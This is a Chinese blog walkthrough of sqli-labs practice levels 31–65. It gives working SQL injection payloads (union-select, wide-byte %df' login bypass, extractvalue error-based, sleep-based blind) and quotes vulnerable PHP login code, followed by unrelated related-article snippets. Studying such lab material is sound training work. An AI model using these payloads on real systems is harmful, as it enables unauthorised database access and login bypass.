sqli靶场完结篇!!!!
靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!!

31.多个)号
先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc
321313132"+union+select+2,user(),"2
于是你就会又见到熟悉的朋友,于是就能猜到又有)(这种东西

换句poc?发现就能成功bypasss
321313132")+union+select+2,user(),("2

32.宽字节注入
当我们添加一个' 就能看见这样的回显

那就想都不用想,就是宽字节注入,于是就猜测是不是字符型,其实如果他把注释符号也过滤了的话那就是绝杀了,但是好险他不过滤


于是我们就构造poc ,但是这里的盲注poc是不行的,因为会被转义 所以要联合查询

33.你三十二关再考我一次是吧?
这题还以为有什么过滤,结果发现和上一关一摸一样
玩我是吧
34.宽字节登录
首先我们能看见一个登录界面,不用想,肯定是要我们免密码登录

由于先测试一下注入的姿势,能发现是宽字节的过滤

于是就有poc:
admin%df'or+1=1--+
成功登录

35.why_care_for_addslahes()
做这题真就有种打ctf的感觉了,有意思 
首先一顿操作猛如虎,先加一个单引号,猜测是宽字节

然后就发现为啥啥都过滤但是却报错???

无意间我瞅了一眼网页标签,然后就就开始笑了,我们判断字符注入的方法是什么?你肯定会说
:“单引号报错,两个引号不报错”
不错,确实是这样的,但是对应宽字节呢??来看宽字节的绕过过程
- 原来:select * from users where id='1' ;
- 开始注入: select * from users where id='1 %df/ ' %df/' ';
- 然后就会被解释成 select * from users where id='1運' 運'';
这是候的sql语句是肯定是错的 因为 中间多了一个中文字 所以我们根本无法根据报错来判断注入类型 也就是这个可能是字符型或者数字型!!!! 不信 不妨试试数字型的poc
0+union+select+1,database(),user()--+
所以这就是他的网页名的来由:why_care_addslashes的原因 与这个函数根本就没有关系!!

36.mysql_real_escape_string
这个函数和addslashes差不都是对一些特定的字符添加一个 / 并且拼接 ,所以他的poc和前面差不多,(或者说是一摸一样)
0%df'+union+select+1,user(),database()--+
37.你三十四关又又又考完一次是吧??
这个和三十四关又是一样的
我belike:
不多说,直接上poc
admin%df'+or+1=1--+
38.堆叠注入
这个我在我之前的blog里面讲过,就不多赘述了
39.堆叠注入但是数字型
这个其实就是堆叠注入的数字型 比字符型还简单 也不多赘述了

40.Seems 这个代码有点问题??
做这一关的时候,小编是有一点疑惑,因为你会发现这一关的poc可以无限写
0')union+select+1,database(),user()--+
1')and+length(database())=8--+
0')union+select+1,user(),database()--+
你就会发现,他们都是可以的,难道这一关就止步于此???

于是就去看了一下他的源代码,发现好家伙,代码还不少,那不因该毫无新意啊!?

访问login.php,发现报错

于是我就发现问题出现在了login.php那里,一起来看代码
$login = sqllogin();
if (!$login== 0)
{$_SESSION["username"] = $login;setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */header('Location: logged-in.php');
}
else
{
?>
<tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">
<center>
<img src="../images/slap1.jpg">
</center>
</p></td></tr>
<?PHP
}
其中slap1.jpg就是我们看见的那张照片,所以可以知道$login=0,而$login又是通过sqllogin函数实现的,那么我们去看一下sqllogin函数就好
function sqllogin(){$username = mysql_real_escape_string($_POST["login_user"]);$password = mysql_real_escape_string($_POST["login_password"]);$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');$row = mysql_fetch_row($res);print_r($row) ;if ($row[1]) {echo $row[1];} else {return 0;}}
来审计一下代码:
- 首先就是mysql_real_escape_string函数,用来将特殊字符转义
- 接着就是查询
- 如果查询成功就将得到的第一行结果输出,否则就输出You tried to be real smart, Try harder!!!! :( 然后结束程序
- 但是如果我们的login_user和login_password不设置值的话就会返回0 也就是我们现在所看见的页面情况
所以就在url拼接login_user 和 login_password这两个字段就好

但是不难发现就算将这两个字段拼接上也好,也还是报错,因该是还缺了什么参数,不管了下一题
41.考了个啥,还是堆叠???
这道题也是做的云里雾里的,啥都不过滤,一句poc就注出来了

查看了源代码才发现原来是堆叠注入,那也不多赘述了
42.Password字段没有过滤
尝试一下,发现在账号处无论怎么测试都没有发现注入点,于是就去试一下密码处,成功报错

于是就开始我们的poc
password=1'+or+1='1
其实这里也可以进行堆叠查询,因为这里也包含mysqli_mutil_query这个函数!!
43.还是多一个()
这题其实和上一题一模一样 就是多一个() 先上poc
password=admin')or+1=1--+
然后不知道你们会不会感到有点奇怪,对于拼接之后的那个句子结构
$sql = "SELECT * FROM users WHERE username=('111') and password=('admin') or 1=1 ";
于是我就去跑去问了一下chatgpt 结果他给到了我这样一个回答
admin'+or+1=1--+
soga~~~原来如此
44.和四十二关一样
不知道为什么他的答案和四十二关一样,那就直接上poc了
password=admin'+or+1=1--+
45.又是多个()
这个题思路和上一关一样,只不过得到的字段被()包裹,所以直接上poc
login_password=admin')or+1=1--+
46.报错,报错
这一题有点新颖,这种一看就知道是order by的查询语句
其实这种还挺难搞
- 首先,它不能拼接select 这种语句,因为orderby 要放在句子的末尾
- 然后,就是拼接 and 1=1 或者 and 1=2 这种语句对查询结果不影响
- 而且源代码里面还不存在堆叠注入的点
所以这里只能报错注入了,上poc
3+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))--+

这样就能爆出他的数据库,如果它不返回报错信息的话那么就基本上不存在注入了
47.多了个' 号
这题其实就是和上面的那一题一样 只不过多一个 ' 而已
3'+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))
48.盲注
这题更离谱,它直接啥都不给你了,于是可以盲注
3'+and+sleep(1)
但是我很好奇,就算盲注成功,那攻击者也获取不了它的数据库信息啊?所以这个sql注入有什么用????

49.和上一关一样,但是字符型
这一关就和上一关一样,不过是字符型
50.可以堆叠,但是条件苛刻
这一关是可以进行堆叠注入的 ,但是你返回的值要满足这样
if ($result = mysqli_store_result($con1)){while($row = mysqli_fetch_row($result)){echo '<font color= "#00FF11" size="3">'; echo "<tr>";echo "<td>";printf("%s", $row[0]);echo "</td>";echo "<td>";printf("%s", $row[1]);echo "</td>";echo "<td>";printf("%s", $row[2]);echo "</td>";echo "</tr>";echo "</font>"; }
能成功地返回这样的结果,也可谓是十分困难了吧
51.我选择报错
这一关就直接报错注入就好了
1'and+extractvalue(1,(concat(0x7e,database(),0x7e)))--+
52.我选择延时注入
poc:
sort=1+and+sleep(1)
53.我还是选择延时注入
poc:
1'+and+sleep(4324324342)--+
54.你能在十次以内做出来吗???
这个其实有点在故弄玄虚,其实就是一个普通的注入,不要想太多 poc:
111111'+union+select+1,database(),user()--+
你怎么知道我刚好在第十次猜出来了哈哈哈
55. 正常注入
还是和上面一样多试试就出来了
32131313123122)%20union%20select%201,database(),user()--+

56.多一个 ' 无伤大雅
这个其实就是我们前面练的多的,不多说
)+union+select+1,user(),('1

57.换成" 还是无伤大雅
不多说,救赎之道,就在标题 上poc
?id=3213113211"%20union+select%201,user(),database()--+

58.??再看多一眼??
这题一开始没做出来,去看了题解,才恍然大雾
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">'; $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");$pass = array_reverse($unames);echo 'Your Login name : '. $unames[$row['id']];echo "<br>";echo 'Your Password : ' .$pass[$row['id']];echo "</font>";
看似一切正常,啥都不过滤,但是细看发现:
你的输出是什么鬼?????
所以这里只能报错注入了
1' and extractvalue(1,(concat(0x7e,database(),0x7e))) --+

59.数字型的58关
不多赘述 ,"救赎之道,就在标题 "
60.变成了 ")
poc:
id=1")%20and%20extractvalue(1,(concat(0x7e,database(),0x7e)))%20--+
61.你没题出了是吧???
不多说,先来看看源码
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
不是,出题人,你无聊是吧搞这些 给我弄两个括号,所以就能上poc了
id=1%27))and%20extractvalue(1,(concat(0x7e,(database()),0x7e)))--+
62.没有回显,但是延时注入
这一关是没有回显的,所以我们可以采用sleep来注入
id=1') and sleep(21)--+
63.还是62关,但是没有括号
这一关只是没有括号而已
?id=1%27and%20sleep(323)--+
64.又是))是吧???
这里的话就是还是有((这样的逆天玩意 ,所以我们直接上poc就好
?id=1))and%20if(length(database())=10,1,0)=1--+
65.完结撒花,但是有 "
这里也是不多说,直接上poc:
id=1")and%20if(length(database())=10,1,0)=1--+
终于,up的sqli靶场打完了 ,打的人都快麻了
,先存一下小编的笔记,以后回来复习(如果记得的话)

相关文章:
sqli靶场完结篇!!!!
靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!! 31.多个)号 先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc 3213131…...
堆结构的解读
对于数据结构堆来说,堆事一种特定的数据结构,其与二叉树非常类似,但是又与二叉树有所不同,其不同点在于堆不需要左右指针指向孩子节点,而给定一个数组,将数组中的元素进行特定排序之后,就可以得…...
7、Qt5开发及实列(笔记)
文章目录 第二章 Qt5模板库、工具类及控件2.2 容器类2.2.1 QList类 # 2.3 QVariant类 #2.4 算法及正则表达式2.5控件 第二章 Qt5模板库、工具类及控件 2.2 容器类 2.2.1 QList类 //2.2容器类 - QList类QList<QString> list;//声明了一个QList<QString>栈对象{QSt…...
FPGA_ip_Rom
一 理论 Rom存储类ip核,Rom是只读存储器的简称,是一种只能读出事先存储数据的固态半导体存储器。 特性: 一旦储存资料,就无法再将之改变或者删除,且资料不会因为电源关闭而消失。 单端口Rom: 双端口rom: 二 Rom ip核…...
5-3、S曲线生成器【51单片机+L298N步进电机系列教程】
↑↑↑点击上方【目录】,查看本系列全部文章 摘要:本节介绍步进电机S曲线生成器的计算以及使用 一.计算原理 根据上一节内容,已经计算了一条任意S曲线的函数。在步进电机S曲线加减速的控制中,需要的S曲线如图1所示,横…...
Google开源项目风格指南——Java
Google Java Style Guide 谷歌 Java 风格指南 谷歌 Java 风格指南1 简介1.1 术语说明1.2 指导说明 2 源文件基础知识2.1 文件名2.2 文件编码:UTF-82.3 特殊字符2.3.1 空白字符2.3.2 特殊转义序列2.3.3 非ASCII字符 3 源文件结构3.1 许可或版权信息(如果存…...
数字图像处理与Python语言实现-常见图像特效(二)
文章目录 9、Splash滤镜10、双色调(Duo-Tone)滤镜11、日光(Daylight)滤镜12、60sTVs效果13、高对比度14、棕褐色/复古滤镜15、晕影效果16、模糊滤镜17、浮雕边缘9、Splash滤镜 在Splash滤镜中,仅某些颜色保持原样,其余颜色转换为灰度。 为了执行此操作,我们将在 HSV 颜…...
学习方法分享
工作上的代码实现,不要过度设计,不要想着炫技,要简单务实,“大道至简”。 学习一个方向(模块化)的知识,不经意间就会涉及到另一个领域,比如从消息队列存储的顺序读/写,延…...
Python学习路线 - Python高阶技巧 - 拓展
Python学习路线 - Python高阶技巧 - 拓展 闭包闭包注意事项 装饰器装饰器的一般写法(闭包写法)装饰器的语法糖写法 设计模式单例模式工厂模式 多线程进程、线程并行执行多线程编程threading模块 网络编程Socket客户端和服务端Socket服务端编程实现服务端并结合客户端进行测试 S…...
qt在pro文件中设置utf-8编码
在 Qt 的 .pro 文件中设置使用 UTF-8 编码,可以通过在 .pro 文件中添加以下内容来实现: QMAKE_CXXFLAGS -source-charset UTF-8 QMAKE_CXXFLAGS -execution-charset UTF-8这样设置后,Qt 会将源代码和执行时的字符集都设置为 UTF-8 编码。这…...
如何在 emacs 上开始使用 Tree-Sitter(windows)
文章目录 如何在emacs上开始使用Tree-Sitter(windows) 如何在emacs上开始使用Tree-Sitter(windows) 参考:“How to Get Started with Tree-Sitter”。 首先要有一个可运行的emacs,并且它支持Tree-Sitter&…...
Qt 数据库操作V1.0
1、pro文件 QT sql2、h文件 #ifndef DATABASEOPERATION_H #define DATABASEOPERATION_H#include <QSqlDatabase> #include <QSqlQuery> #include <QSqlError> #include <QSqlRecord> #include <QDebug> #include <QVariant>clas…...
【Eclipse插件开发】3工作台workbench探索【上篇】
3工作台workbench探索 文章目录 3工作台workbench探索前言视图编辑器一、工作台Workbench入门工作台页透视图视图和编辑器二、使用命令的基本工作台扩展点2.1 org.eclipse.ui.views2.2 org.eclipse.ui.editors编辑器和内容大纲2.3 org.eclipse.ui.comm...
201912CSPT5魔数
题意:有一个从 1 1 1到 n n n的连续序列,有 q q q次查询,对区间操作 [ l , r ] [l,r] [l,r]: 1. 输出 s f ( A l ) f ( A l 1 ) . . . f ( A r ) , f ( x ) ( x 1.输出sf(A_l)f(A_{l1})...f(A_r),f(x)(x 1.输出sf(Al)f(Al1)...f(A…...
Pycharm python用matplotlib 3D绘图显示空白解决办法
问题原因: matplotlib版本升级之后显示代码变了,修改为新的 # ax Axes3D(fig) # 原代码 ax fig.add_axes(Axes3D(fig)) # 新代码import numpy as np import matplotlib.pyplot as plt from matplotlib import cm from mpl_toolkits.mplot3d import Ax…...
java hello world
1、java IDEA工具安装: helloworld : package com.company;public class Main {public static void main(String[] args) {// write your code hereString a "hello world";System.out.println(a);} } java一些注意事项 1、大小写敏感 2、类…...
典型数据结构的模板实现
栈和数组 1.使用类模板实现数组结构定长数组可变数组 2.使用类模板实现栈结构 在我们初步了解编写模板类后,应当做一下代码练习。这节我们就做一个编写代码的补充,方便大家继续学习模板类的嵌套。作为新手而言,建议大家先写一个具体类&#x…...
Visual Studio 2022中创建的C++项目无法使用万能头<bits/stdc++.h>解决方案
目录 发现问题 解决办法 第一步 第二步 第三步 第四步 最后一步 问题解决 发现问题 如果大家也遇到下面这种问题,可能是没有include文件夹中没有bits/stdc.h 解决办法 第一步 打开一个C项目,鼠标移动至头文件上右击,选择转到文档或…...
webpack配置
一、很多基础方面的配置被vuecli所集成一般项目都是使用vuecli,不会真正的去从0-1进行webpack配置: 1、vuecli中的webpack基础配置: (1)入口文件默认在src/main;输出在dist; (2)集成了大量的插件和加载器:babel-loader 处理 JavaScript 文件、使用 css-loader 和 style-load…...
1 月 Web3 游戏行业概览:市场实现空前增长
作者:lesleyfootprint.network 今年一月,区块链游戏领域迎来了爆发式增长,活跃用户的数量大幅提升。 区块链游戏不断融合 AI 技术,旨在提升玩家体验并扩大其服务范围,公链与游戏的兼容性问题也日渐受到重视。技术革新…...
告别性能瓶颈:如何用NVIDIA Profile Inspector释放显卡90%潜能?
告别性能瓶颈:如何用NVIDIA Profile Inspector释放显卡90%潜能? 【免费下载链接】nvidiaProfileInspector 项目地址: https://gitcode.com/gh_mirrors/nv/nvidiaProfileInspector 为什么官方显卡控制面板永远像个"锁着的工具箱"&#…...
告别复杂配置!5分钟掌握OCAT:OpenCore图形化配置神器
告别复杂配置!5分钟掌握OCAT:OpenCore图形化配置神器 【免费下载链接】OCAuxiliaryTools Cross-platform GUI management tools for OpenCore(OCAT) 项目地址: https://gitcode.com/gh_mirrors/oc/OCAuxiliaryTools 如果你…...
C#实战:基于WebAPI与Modbus构建EMS核心采集服务
1. 为什么需要EMS核心采集服务? 在工业现场,我们经常会遇到几十台甚至上百台智能电表、传感器等设备需要监控。这些设备可能来自不同厂家,使用不同的通信协议,数据格式也各不相同。想象一下,如果每个设备都需要单独开发…...
Vue3 的 JSX 函数组件,每次更新都会重新运行吗?
我用最直白、最无歧义、100%准确的方式,只回答你这一个问题: ✅ 最终答案(背它) 在 Vue3 中: 你写的 JSX 函数组件,整个函数 只会在组件初始化时运行 1 次! 更新时,整个函数 不会重新…...
Imatest SFR模块实战:从ISO 12233测试卡到MTF指标解析
1. Imatest SFR模块入门指南 第一次接触Imatest SFR模块时,我完全被各种专业术语搞懵了。后来在实际项目中反复使用才发现,这其实就是个"相机体检仪"——通过分析ISO 12233测试卡上的斜边,就能给相机镜头做个全面体检。想象一下医生…...
STM32F103 Bootloader跳转失败?别急着怀疑Boot,先检查你的裸机APP中断向量表
STM32F103 Bootloader跳转失败?别急着怀疑Boot,先检查你的裸机APP中断向量表 当你的STM32F103项目采用HAL库Bootloader搭配裸机应用程序(APP)时,如果遇到Bootloader能正常启动HAL版本的APP却无法跳转裸机APP的情况&…...
JiYuTrainer:极域电子教室多任务学习解决方案 - 提升教学环境下的自主操作能力
JiYuTrainer:极域电子教室多任务学习解决方案 - 提升教学环境下的自主操作能力 【免费下载链接】JiYuTrainer 极域电子教室防控制软件, StudenMain.exe 破解 项目地址: https://gitcode.com/gh_mirrors/ji/JiYuTrainer 在现代数字化教学环境中,极…...
MelonLoader终极指南:3分钟掌握Unity游戏模组加载器完整使用技巧
MelonLoader终极指南:3分钟掌握Unity游戏模组加载器完整使用技巧 【免费下载链接】MelonLoader The Worlds First Universal Mod Loader for Unity Games compatible with both Il2Cpp and Mono 项目地址: https://gitcode.com/gh_mirrors/me/MelonLoader Me…...
日语零基础每天学习笔记【01-10】
第一天 日语五十音:平假名/片假名发音あア いイ うウ えエ おオaかカ きキ くク けケ こコkaさサ しシ すス せセ そソsaたタ ちチ つツ てテ とトtaなナ にニ ぬヌ ねネ のノnaはハ ひヒ ふフ へヘ ほホhaまマ みミ むム めメ もモmaや…...
道心网络安全学习笔记系列之好靶场的信息收集2
上节课找了一个图片的网址,继续挑战其它靶场,我们看下一题收集十个百度域名,这还不是顺手就来,但是贴吧不行,那还不简单,去访问百度网站,顺便输入一个搜索词,都不用看,前…...
